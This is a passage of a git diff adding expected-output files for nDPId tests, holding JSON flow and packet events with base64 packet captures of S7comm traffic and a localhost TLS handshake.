+00477{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647300,"pkt_ts_usec":179569,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"PIqwbTfwAAjK968mCABFAABd9ycAAEARlSmDctuowKfOfBtZG1sASZXW1w+zMFwiT6wAAAAFAAAAAAAAAAoCIQAAAAAANAAAAAAAAAACAAAAAQAAAAAIAAAAAAAAFjwAAAWkAAAAIAAAAAQ="} +00461{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647300,"pkt_ts_usec":300981,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"PIqwbTfwAAjK968mCABFAABQ9z0AAEARlSCDctuowKfOfBtZG1gAPMf2pznrEIIX+MQAAAABAAAAAQAAAAEBBQACQQMAAc15rzohZDu3tHAiNlJF9KLblAPfbQt\/ew=="} +00448{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647300,"pkt_ts_usec":305310,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAjK968mPIqwbTfwCABFAABIUYoAADoRQNzAp858g3LbqBtYG1kANGRrpznrEIIX+MQAAAAAAAAAAAAAAAEGAAACAAAAAQAAAAIPbFORAAAAAAAAAAA="} +00922{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647300,"pkt_ts_usec":305347,"pkt_caplen":435,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":435,"pkt_l4_len":401,"pkt":"PIqwbTfwAAjK968mCABFAAGl9z4AAEARk8qDctuowKfOfBtZG1gBkZ0QpznrEIIX+MQAAAAAAAAAAAAAAAIHAQACAAAAAQAAAAIAAAAAbN8VeUBVvisWQ9S6x95dol\/TUOn9bl0f90I3hGv3uVWDizOZmldnlgAAAQAAAAE1YYIBMTCCAS2gAwIBBaELGwlVWi5TTlMuSVSiGzAZoAMCAQChEjAQGwNhZnMbCXV6LnNucy5pdKOB+zCB+KADAgEBoQMCAQKigesEgejNCW5m+7aBGuNoiVjkIJzx2tfXcLBv38bKqTxnfkKpelrtA2NteZ8teA2NY\/JcS7qvCbZJ5UfKfc0XKBLSX738gQiqTXl3VrPW6tJlGduoYTSlbLyRRjJPbpfA8K1\/szhWNGSiFLmMKWb9D3hNBBWPTEvqEyYAaHPUgal5Rc1F+EXgRSJeXlbJkNTV4kp3P8IMhfBmmyZrdnmNbYh2kOEX\/XLBBA7VWh1HbE3nAPhiu\/cR5WVZnVZ83fKFION8RnxUZiNj5tJwTg5Xm0rlK0JDrC0ZWhW0UJRkXyn0UNTnL\/w5O\/ofVSgO"} +00432{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647300,"pkt_ts_usec":308261,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AAjK968mPIqwbTfwCABFAAA8UYsAADoRQOfAp858g3LbqBtYG1kAKDkyna9LKFupW+gAAAADAAAAAQAAAAUBBQAAAAAAAQABAAI="} diff --git a/test/results/s7comm.pcap.out b/test/results/s7comm.pcap.out new file mode 100644 index 000000000..8ee2c0d00 --- /dev/null +++ b/test/results/s7comm.pcap.out @@ -0,0 +1,17 @@ +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"s7comm.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1408528803880,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.10","dst_ip":"192.168.1.40","src_port":4185,"dst_port":102,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":880679,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ABsbI+s7kOa6hF5BCABFAAA+LUtAAIAGAADAqAEKwKgBKBBZAGaQRN2iAAL7EFAY+vCDswAAAwAAFhHgAAAABwDBAgEAwgIBAsABCg=="} +00503{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"s7comm.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1408528803880,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.10","dst_ip":"192.168.1.40","src_port":4185,"dst_port":102,"l4_proto":"tcp","ndpi": {"proto":"s7comm","breed":"Acceptable","category":"Network"}} +00437{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":884414,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"kOa6hF5BABsbI+s7CABFAAA+AM4AAB4GGGrAqAEowKgBCgBmEFkAAvsQkETduFAYEAAGowAAAwAAFhHQAAcAAwDAAQrBAgEAwgIBAg=="} +00441{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":884562,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"ABsbI+s7kOa6hF5BCABFAABBLUxAAIAGAADAqAEKwKgBKBBZAGaQRN24AAL7JlAY+tqDtgAAAwAAGQLwgDIBAAACAAAIAADwAAABAAEB4A=="} +00441{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":887528,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"kOa6hF5BABsbI+s7CABFAABDAM8AAB4GGGTAqAEowKgBCgBmEFkAAvsmkETd0VAYEAAeAAAAAwAAGwLwgDIDAAACAAAIAAAAAPAAAAEAAQDw"} +00417{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":887617,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"ABsbI+s7kOa6hF5BCABFAAAvLU1AAIAGAADAqAEKwKgBKBBZAGaQRN3RAAL7QVAY+r+DpAAAAwAABwLwAA=="} +00449{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":887683,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"ABsbI+s7kOa6hF5BCABFAABJLU5AAIAGAADAqAEKwKgBKBBZAGaQRN3YAAL7QVAY+r+DvgAAAwAAIQLwgDIHAAADAAAIAAgAARIEEUQBAP8JAAQBMgAE"} +00517{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":894509,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"kOa6hF5BABsbI+s7CABFAAB5ANAAAB4GGC3AqAEowKgBCgBmEFkAAvtBkETd+VAYEAACRQAAAwAAUQLwgDIHAAADAAAMADQAARIIEoQBAQAAAAD\/CQAwATIABAAoAAEABAABAAAAAQACAAAAAFZWvASj1RQACXICAAAAAAAAAAAAAAAAAAAA"} +00417{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":894610,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"ABsbI+s7kOa6hF5BCABFAAAvLU9AAIAGAADAqAEKwKgBKBBZAGaQRN35AAL7klAY+m6DpAAAAwAABwLwAA=="} +00449{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":899252,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"ABsbI+s7kOa6hF5BCABFAABJLVBAAIAGAADAqAEKwKgBKBBZAGaQRN4AAAL7klAY+m6DvgAAAwAAIQLwgDIHAAAEAAAIAAgAARIEEUQBAP8JAAQBMgAC"} +00519{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":903498,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"kOa6hF5BABsbI+s7CABFAAB5ANEAAB4GGCzAqAEowKgBCgBmEFkAAvuSkETeIVAYEACdkgAAAwAAUQLwgDIHAAAEAAAMADQAARIIEoQBAQAAAAD\/CQAwATIAAgAoAAEAAgAAAAAAAAAOAAAAAAYBCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00419{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":903637,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"ABsbI+s7kOa6hF5BCABFAAAvLVFAAIAGAADAqAEKwKgBKBBZAGaQRN4hAAL741AY+h2DpAAAAwAABwLwAA=="} +00451{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":904205,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"ABsbI+s7kOa6hF5BCABFAABJLVJAAIAGAADAqAEKwKgBKBBZAGaQRN4oAAL741AY+h2DvgAAAwAAIQLwgDIHAAAFAAAIAAgAARIEEUQBAP8JAAQAEwAA"} +00708{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":910535,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"kOa6hF5BABsbI+s7CABFAAEFANIAAB4GF5\/AqAEowKgBCgBmEFkAAvvjkETeSVAYEADS7gAAAwAA3QLwgDIHAAAFAAAMAMAAARIIEoQBAQAAAAD\/CQC8ABMAAAAkAAUAAQABAAMAAAARAAAAAwAAAAABYAAAAAAAAAAAAAAAAAAAAAAAAgABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwACAAIAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAATKgAAAAAABAACAIAAAAACAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAABQACAAAFAAACAAAAAAAAAAAAAAAAAAAAAAUAAAAAIAAAAAA="} +00419{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":910642,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"ABsbI+s7kOa6hF5BCABFAAAvLVNAAIAGAADAqAEKwKgBKBBZAGaQRN5JAAL8wFAY+UCDpAAAAwAABwLwAA=="} +00451{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"s7comm.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1408528803,"pkt_ts_usec":910913,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"ABsbI+s7kOa6hF5BCABFAABJLVRAAIAGAADAqAEKwKgBKBBZAGaQRN5QAAL8wFAY+UCDvgAAAwAAIQLwgDIHAAAGAAAIAAgAARIEEUQBAP8JAAQBMQAE"} diff --git a/test/results/selfsigned.pcap.out b/test/results/selfsigned.pcap.out new file mode 100644 index 000000000..7f51aa500 --- /dev/null +++ b/test/results/selfsigned.pcap.out @@ -0,0 +1,40 @@ +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":472768,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AgAAAEUAAEAAAEAAQAYAAH8AAAF\/AAAByZcLuc3ubiYAAAAAsAL\/\/\/40AAACBD\/YAQMDBQEBCAoTf8z4AAAAAAQCAAA="} +00179{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":472882,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AgAAAEUAAEAAAEAAQAYAAH8AAAF\/AAABC7nJlxL1FVDN7m4nsBL\/\/\/40AAACBD\/YAQMDBQEBCAoTf8z4E3\/M+AQCAAA="} +00179{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":472896,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAByZcLuc3ubicS9RVRgBAx1\/4oAAABAQgKE3\/M+BN\/zPg="} +00179{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":472909,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABC7nJlxL1FVHN7m4ngBAx1\/4oAAABAQgKE3\/M+BN\/zPg="} +00179{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01068{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":479120,"pkt_caplen":573,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":573,"pkt_l4_len":0,"pkt":"AgAAAEUAAjkAAEAAQAYAAH8AAAF\/AAAByZcLuc3ubicS9RVRgBgx1wAuAAABAQgKE3\/M\/hN\/zPgWAwECAAEAAfwDA0YEObVTH0KfsY7LcbNSMg4LYrFe3YRazUmr+hH\/EGuJAACGzBTME8wVwDDALMAowCTAFMAKAKMAnwBrAGoAOQA4\/4UAxADDAIgAhwCBwDLALsAqwCbAD8AFAJ0APQA1AMAAhMAvwCvAJ8AjwBPACQCiAJ4AZwBAADMAMgC+AL0ARQBEwDHALcApwCXADsAEAJwAPAAvALoAQcASwAgAFgATwA3AAwAKAP8BAAFNAAAADgAMAAAJbG9jYWxob3N0AAsABAMAAQIACgA6ADgADgANABkAHAALAAwAGwAYAAkACgAaABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQANACYAJAYBBgIGA+\/vBQEFAgUDBAEEAgQD7u7t7QMBAwIDAwIBAgICAzN0AAAAEAAOAAwCaDIIaHR0cC8xLjEAFQCxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00179{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":5,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":479157,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABC7nJlxL1FVHN7nAsgBAxx\/4oAAABAQgKE3\/M\/hN\/zP4="} +00179{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":6,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02212{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":482756,"pkt_caplen":1413,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1413,"pkt_l4_len":0,"pkt":"AgAAAEUABYEAAEAAQAYAAH8AAAF\/AAABC7nJlxL1FVHN7nAsgBgxxwN2AAABAQgKE3\/NARN\/zP4WAwMAWQIAAFUDAz+vsHu152Vw5NFH3AgGG9C4Bxii\/2nl70RPV05HUkQBIKNPymlGWN579hpDGzAZQaNiLZPWKCNCZYzk8BTGe2IrwDAAAA3\/AQABAAALAAQDAAECFgMDA0sLAANHAANEAANBMIIDPTCCAiWgAwIBAgIJAJFqTNFnhxYCMA0GCSqGSIb3DQEBCwUAMDUxCzAJBgNVBAYTAklUMRMwEQYDVQQIDApTb21lLVN0YXRlMREwDwYDVQQKDAhudG9wLm9yZzAeFw0xNTEwMTAxNTU1NDdaFw0xNjEwMDkxNTU1NDdaMDUxCzAJBgNVBAYTAklUMRMwEQYDVQQIDApTb21lLVN0YXRlMREwDwYDVQQKDAhudG9wLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMqvCx+rRbca8TXZWfNeXtVMXIwVBR4OHh8CqChEm0V486GnDrPcIA5qHfMdhrhaa8QYi7G5WEmgrZt9Xnnr9wNvWyXriN3YQ0yirvywhXre1TTU7zWONHTtwSXGX5oTez8r\/HHAC3nBuBpYppfnWL3RqIXjU7LKfGyiyaIq9YQDgRMAcvULn\/LvlL\/esRDYZWmzn+dCoMEBGEEHO1gpi7W3v4JrN1jvTT\/+7vnD9M3PrYlu3pFQQAldp8TyPply7995bWM50oc8KVCRajx4e00MpXeMiItNibgMmgKQUOUMDkJmj1anxbP+nYjk4NA3qkxPFFYinKcJzqxucjE9e6sCAwEAAaNQME4wHQYDVR0OBBYEFANLlR\/Vlai8dYJgk6sQ4YH4HXTBMB8GA1UdIwQYMBaAFANLlR\/Vlai8dYJgk6sQ4YH4HXTBMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAC\/chL7Abk2lCnzYLEBobkS\/giI\/AedUO3xj0QFMtLhURdNwfB5B8d3W1iwJpPUFLZ\/vtZbXf0DBMZ8ohT9J3kHTdamOLpZZoey7ym8fkZ9DXZh5IPEiq8671lm30dXIkMjZMuNWXJ83OCvQsqWa0w6eNuFRiqY6tlmSjwsNouasofdBkCXJTYAeAnwOddQfYwcjtRSE0lBHWpoKyjfIkKogIDk7nqPJTsv\/FmqFJF2yVuB2AsHChg+d1FNieTBKncZ0BP43ou0G8\/vjCLmWuXyWliZdkL+BKLaCFrckJgp0o4UZxJfxgYW9BE1ZNBRBqB7Y41F+BLRcGFps+8X1SvYWAwMBkQwAAY0DABmFBAHPkLTJ8D3cHS1\/nQRLONkdeSmMf12\/r\/bxWuCjFjfY8GbHl5cWs5ZqWVDXzuzsUA7KVzUj\/NIqQFH9U40jsqyXmQERq4X\/Sj9XOt0M99htr9thCADsFheVSJXEoop09N\/RW+xRFw5YoikfywzFLvRe4586EWCUXgnljrTQ98fyn1ebFgYBAQCumeFMIqtEDk01htP7zQoIF6niY\/f6BI66+FlITV+70tADWxmpTud9F0gWAZk8TuTjQgmt1ZHwqHfSLSSWvTx7yFBTKcbArU46wEA80hfwjERSYgVrKDwNdnjRrLCedbIAA496m8mFBtJ1S61+YnHOtY7DBcq2et7nfa71JyRX9LJCtmzjaZnRXi6eseqgiyzoeAcO5eJO4PaovMzkUIwXDAiqdFtBh8NfjDHJDiFVBFiOMUb3tiRVthgMUjR59Y0QxFN1YL4T7a8I\/UvujNzloymejGmR6zlwRrIGr50Iuxyv\/LvCwYcgV\/x8iRm7TIW0\/3eaQMOygD+J7\/dZrnx1FgMDAAQOAAAA"} +00179{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":7,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":482780,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAByZcLuc3ucCwS9RqegBAxrP4oAAABAQgKE3\/NARN\/zQE="} +00179{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":8,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00639{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":515504,"pkt_caplen":250,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":250,"pkt_l4_len":0,"pkt":"AgAAAEUAAPYAAEAAQAYAAH8AAAF\/AAAByZcLuc3ucCwS9RqegBgxrP7qAAABAQgKE3\/NIRN\/zQEWAwMAihAAAIaFBAG+dqNZTTGNmlhVbXDLZNVvUlffjDtinpHNy96LVaKYMsQRKJqlAMJaJ1CL2upAok8ZJ3580aT16eCbet9Av5rvqwGLozAGivP0w7XcCvMFhYEkd0w55ov6A5Xgcdk0U5pPZKI4AHrMk56KuDLa48F22ITuDHcEXW1FwVSrPe\/aIwNarxQDAwABARYDAwAoAAAAAAAAAACfHxM0p3Cy7xktMZ6c6Q\/r\/qNpTZ7nZV0imZBp6cUPhQ=="} +00179{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":9,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":515572,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABC7nJlxL1Gp7N7nDugBAxwf4oAAABAQgKE3\/NIRN\/zSE="} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":10,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":516568,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AgAAAEUAAGcAAEAAQAYAAH8AAAF\/AAABC7nJlxL1Gp7N7nDugBgxwf5bAAABAQgKE3\/NIhN\/zSEUAwMAAQEWAwMAKPFL+hO\/a3B3v+zcGiguxbP496ElenpzjOz+90hPssLt7skmpRpCGLw="} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":11,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":516612,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAByZcLuc3ucO4S9RrRgBAxq\/4oAAABAQgKE3\/NIhN\/zSI="} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":12,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":516903,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AgAAAEUAAJ8AAEAAQAYAAH8AAAF\/AAAByZcLuc3ucO4S9RrRgBgxq\/6TAAABAQgKE3\/NIhN\/zSIXAwMAZgAAAAAAAAABdBSRwbqzQkhQtcxlAK17XmvhhAJFl33RHxJN0euo4ttiJS6nTJ0vqgLpUY2Fj7p\/dZWzDo51XJ69V2M\/QOjoclgQ6xctxSRbp7a+0T7Nk2eRCARiLWRH6v4l1aNskA=="} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":13,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 